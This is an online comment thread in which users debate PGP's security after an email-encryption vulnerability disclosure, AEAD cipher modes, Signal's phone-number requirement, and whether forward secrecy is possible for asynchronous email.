[1]: https://restic.net/ [2]: https://blog.filippo.io/restic-cryptography/ [3]: https://www.usenix.org/legacy/publications/library/proceedin...
However that is not true for other constructions. AES-OCB is a single-pass cipher that has a MAC for each block (this is actually the main selling feature of OCB). (AES-EAX also has a MAC for each block too, but is two-pass.)
Also, STREAM/CHAIN are also AEAD, so your generalisation can't be always true.
Function name: OCB-ENCRYPT Input: K, string of KEYLEN bits // Key N, string of no more than 120 bits // Nonce A, string of any length // Associated data P, string of any length // Plaintext Output: C, string of length bitlen(P) + TAGLEN bits // Ciphertext
Only a single tag, exactly like CCM and GCM. Am I missing something?
It depends on what you call "AEAD", of course. For me it's something that generates a single MAC. STREAM/CHAIN can then be used with an underlying AEAD (GCM, CCM, OCB, SIV) to create a "streaming AEAD" that generates multiple chunks, each one of them with a MAC.
But looking at the RFC you're right that there's only one authentication tag (I also looked at the GPG implementation as well as the proposed OpenPGP RFC for AEAD -- and it looks like they implement chunking on top of OCB/EAX/GCM for this reason). I stand corrected.
I agree that this is significant because it affects many users and the potential effect is extremely negative.
On the other hand if the headlines on this were more focused I think people on HN would not have reacted so negatively.
The MAC of a PGP message is the SHA-1 of its plaintext appended to the message.
There are coherent ways to downplay today's announcement, but "PGP isn't broken" isn't one of them. The best you can do is "PGP is broken but we already knew that".
Long term, we really need an upgrade that breaks compatibility with old unfixable clients
Yes. But unless I've missed something no one has bothered to even attempt any modernized, improved replacement, so we continue to muddle along. I've certainly heard complaints about existing secure email technologies for well over a decade, but at the same time the cryptography field has never offered an upgrade. Instead it's always been "completely give up on the concept of email (which in no way needs to be insecure) for these modern hip non-federated often proprietary clunky slow kitchen sink instant messenger things instead". To which the answer has and continues to be "no".
Maybe we live in a world where the creation and upgrading of a technology like email is no longer feasible and that's just how it is. If so though I foresee email as it is existing into the foreseeable future, and in turn it'll be useful to have some sort of crypto bolted on top, as a marginal improvement vs entirely plain text. Hopefully there will be enough security oxygen that OpenPGP could at least modernize the foundations a little even if it meant some breaking changes to old implementations.
Just stop using email to deliver secrets.
But at its core, the promise of pgp/gpg is the promise of encrypted and authenticated file transfer.
The file might come from ftp, samba/cifs, Dropbox/Google drive/etc, from tape or HD backup - or come attached to an email.
It may come from yourself, or from a friend.
But the promise is that between the encryption and signing - and the verification and decryption - the file remain the same. The zip file is as (Un)safe to extract, the font as (Un)safe to render - the installer or the executable as (Un)safe.
If you have (authenticated) file encryption, you have encrypted email.
If you want to use authenticated file encryption as a secure messaging platform, you should probably invest in a more sane format for your plaintext file than email. And a better wrapping transport than email.
The fundamental problems with email+pgp as a secure messaging platform isn't pgp alone - but the intersection of email-the-format, email-the-protocol mixed with the mail user agents and their 80s trusting file handling (ok, that's unfair to the 80s, we're still too trusting when it comes to files in general and transclusion in particular).
In short, I don't think we should give up all of pgp as such (open, secure, authenticated file encryption and Web of trust).
But it's probably true that newer protocols are better for "real-time" messaging, and perhaps usenet is better for hold-and-forward.
[ed: I'd love to hear some current informed discussion about: https://saltpack.org/ mentioned in this discussion here. From the previous hn discussion it seems reasonable; a sane format (message pack), authenticated encryption primitives - but I worry a bit about public key handling - is there Web of trust/certificate support - and if so, is it sane? I'm not saying pgp/gpg wot is sane. But neither is ssh (certs) in practice. I'd much prefer wot - were for some applications I could choose arbitrary key/certs as authorative CAs and give out short-lived "certs" (signed public keys with valid from-to).]
At the least I'm not sure this is legally feasible under ERISA electronic delivery requirements, to name a single one amongst a host of other often incredibly complex regulations. It might be ok under the UETA, but either way that wouldn't be my call.
I am 100% sure that it wouldn't be ok with coworkers, customers, and in turn bosses, so demanding to cease all usage of email would get me fired. I mean, even entirely plain text email isn't sufficient to get anyone to stop using it to deliver secrets. It's been a real improvement just to have the MUA<>Server connection be encrypted, and even that is probably still not universal!
Doesn't Signal require you to publish your actual phone number, which reveals your RL identity in the network pretty much completely controlled by government?
The desk phone at your office.
A free Google Voice phone number, if you live in the United States (this is what I do).
Any phone number from any online calling service, like Skype.
A cheap pre-paid SIM card for a few dollars a month (and temporarily put it on your phone to register your second Signal number).
Twilio, a cloud service that allows developers to write software that makes and receives phone calls and SMS messages.
Obviously, each of those still requires registration within government-controlled phone network, and additionally also may require you to entrust your security to a third party - such as your employer, Google, Microsoft or Twilio. So in fact, you refutation of my assertion "you need to publish a phone number" is "you can have two phone numbers". This is not serious.
Signal, and the Signal server operators, malicious or not, do not know the phone numbers of people you are communicating with (presuming the secure enclave on the server isn't cracked). Signal does know your phone number, so someone could figure out if you use Signal. If you're worried about that, or personal sharing of your number, you could falsify information to create an anonymous phone number, or you can just use Matrix or Wire.
At least with GPG I can factory reset all of my computers and phones and not have to re-establish trust if I take the right steps to preserve the secret key information.
Even if I don't preserve that correctly, people change computers less often than phones.
On the other hand, I'll admit that my GPG key is newer than my Signal number (which I've owned for 15 years), due to upgrading crypto algorithms.
I perform the safety number verifications in exchange for forward and backward secrecy. GPG isn't enough to establish a truly confidential communication channel, I think. (Unless you erase keys after every sent message, maybe.)
I'm not happy with Signal's dependence on a phone. Ideally I'd like to use a pocket-sized SBC for secure messaging. Come to think of it, that sounds rather like a phone. Just, uh, without the cellular hardware, and with a user-installed OS.
That is not contrary to what I'm saying, that is exactly what I'm saying. Much of the world, both corporate and private, do not want "messaging", they want "email". I use scare quotes for the latter because I want to distinguish between email as in existing technical standards dating all the way back to RFC 561 and email as-in that kind of information transfer service and format, distinct from messaging. Messaging has its place too, but there is clearly a desire for an electronic version of sending a piece of mail. It fits human and cultural psychology. It produces a different kind of consideration and formatting, which has both its merits and demerits. But messaging is not a replacement for email. You can insist that it is but I don't think you will be successful, and you should know better then most that security which isn't used isn't useful security.
>Don't send secrets over email
Back here on Planet Earth sending all sorts of secrets over email and using it for authentication of incredibly important accounts is the regrettable rule, not the exception. Like use of passwords. It is the reality in which we live. I see no sign of it changing either unless there is a direct in-place upgrade available. Which there is not.
>replace email with this thing that requires a phone number and is not like email
No.
>replace email with this thing that didn't even bother to add e2e crypto until 2016, claims to be agpl/gplv3 but then adds a bunch of other random crap on top, etc. Also not email.
No.
It's like coming into a global warming discussion and demanding everyone forgo personalized point-to-point mechanized transportation because of inherent inefficiencies vs mass transport. Or saying IRC is shit and therefor everyone should move to mailing lists or whatever. It's worse then even suggesting moving to something that's still "groups in 'rooms' with instant messaging" which at least is a technical feature match, it's suggesting dropping an entire UX. It's not happening. Path dependency is a thing, and so are specific desirable features that can be used alongside other channels for different tasks.
I gave reasons. You're the one implying everyone who doesn't dump a straight forward, desirable UX global standard for a bunch of silo'd different formats are idiots/old fogies/don't care about security/privacy at all. The very simple fact that even accepting dumping that UX for messaging service you still couldn't simply say "switch to this only" but had to list a couple of things further highlights the whole problem. Is every individual and organization on the planet also supposed to support every single secure messenger? If not what is the winner vs the losers tptacek? Saying I had no argument but"no" and ignoring everything else is insulting sure, but I also think it's not a helpful attitude to making the world a more secure place period.
That's not what you're demanding. You're demanding the end to a UX. That's entirely orthogonal to security, and my whole point is that's very different from pushing people to go from an insecure version of a UX to a more secure version of a UX (or at least a strict superset of that UX). It's straight forward to argue "don't use HTTP, use HTTPS", or "don't use SMS, use {secure messenger}"[1], or "don't use POP, use POPS or IMAPS" or even "don't use an 8 character password that is the name of your dog on a website, use something random and preferably a password manager".
But that's not your argument.
1. Though again, the basic fact that I can't just tell anyone in the world, on any device at all, what {secure messenger} vs "SMS" should be is inherently suboptimal though less so.
Already a thing, next?
> forward secrecy
There is https://tools.ietf.org/html/draft-brown-pgp-pfs-03 but to be honest forward secrecy in general does not make much sense in the context of email or backups.
Sure, the sender can generate a temporary key pair, and immediately toss out the private half. A passive recipient however cannot do the same. We need a handshake of some sort.
If you want that handshake for email, I don't know how to do that without giving the long term keys to the mail server, which in most cases is operated by a third party that reads your emails for a living. I'd love to have a solution for that, but I don't believe there is any.
Simply put, forward secrecy doesn't make much sense in the context of email.
It's obviously not impossible to build basically any peer-to-peer end-to-end protocol using email as a transport. But, if you were right, and it was, that wouldn't mean "forward secrecy doesn't make sense for email"; it would mean "cryptographic security doesn't make sense for email".
The only way one could ensure forward secrecy for everyone (sender and recipient), is with a handshake (typically a hail-challenge-response). This handshake can only happen when the recipient is online.
If the recipient is not online, as is expected of asynchronous communication applications such as email, an intermediate server has to hold the message for him. At this point, you either give up on the handshake, or hand over the secret key to the server.
Good luck setting up a trustworthy server. Even if I hosted my stuff at home, I might not be too keen on leaving it on where it could be examined by forensics while I am away. It's not bad, but it's not perfect either. And forget about third party servers, they are untrusted by default. I'd rather give up forward secrecy instead, and keep my private key on an encrypted file on my personal laptop.
So we can't have that hand shake. The protocol has to look like: (i) Alice and Bob know of each other's long term public keys. (ii) Alice encrypts then send a message to Bob. (iii) Bob receives then decrypt that message.
If I knew of a protocol that followed those constraints and still preserves forward secrecy, you could be damn sure I'd put it in Monocypher—one less thing the user could screw up. (Actually, I'd love to be proven wrong there, it would improve my crypto library right away.)
> It's obviously not impossible to build basically any peer-to-peer end-to-end protocol using email as a transport.
You'd still have to give the long term keys to a machine that is online when the message is sent. For asynchronous protocol, this means always online, and we're back to square one.
> But, if you were right, and it was, that wouldn't mean "forward secrecy doesn't make sense for email"; it would mean "cryptographic security doesn't make sense for email".
Are you implying that forward secrecy is required for "security"?
Am I "implying" that forward secrecy is required for message security? No, I'm saying it directly.
OK, I'll look it up, thanks. Though I suspect I already have (the 3-DH the Wikipedia mentions looks familiar, I suspect it is X3DH). Better than nothing, but not quite perfect.
Taking something like megolm [1] and running it over SMTP is such an obvious answer that, eventually, somebody will give it a go. Until then, we get to keep having this argument on the internet every few weeks...
[1] https://git.matrix.org/git/olm/about/docs/megolm.rst
https://saltpack.org/
No PFS, though
Now that I think about it there is also a modest effort to simply enhance the UI of the whole deal through transparent embedding vs as an attachment. I think modest efforts of that nature that are evolutionary vs revolutionary around existing installed base will like it or not continue to serve an important practical role.
Do you mean that gpg is broken for non email use cases as well? Eg. encrypting tarball with backups using gpg and then storing it on some cloud service?
No they don't. Also PGP works just fine. It could use some improvements, but it's doing well.
So the issue here is that PGP outputs plain text even when the message fails the MAC check.
This is the big fail of MIME, that literally concatenating different sections together into one document is the intended way of implementing much of multipart handling.
Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.
This approach requires too much diligence for most cases: people will forget to switch to the encrypted system, they won’t have a key / it’s expired because they don’t use it regularly, the software will remain horrible because nobody uses it, etc. Encryption needs to be enabled and usable by default if you don’t want a regular stream of human error.
https://mobile.twitter.com/ProtonMail/status/996006094605570...
https://twitter.com/ProtonMail/status/996006094605570048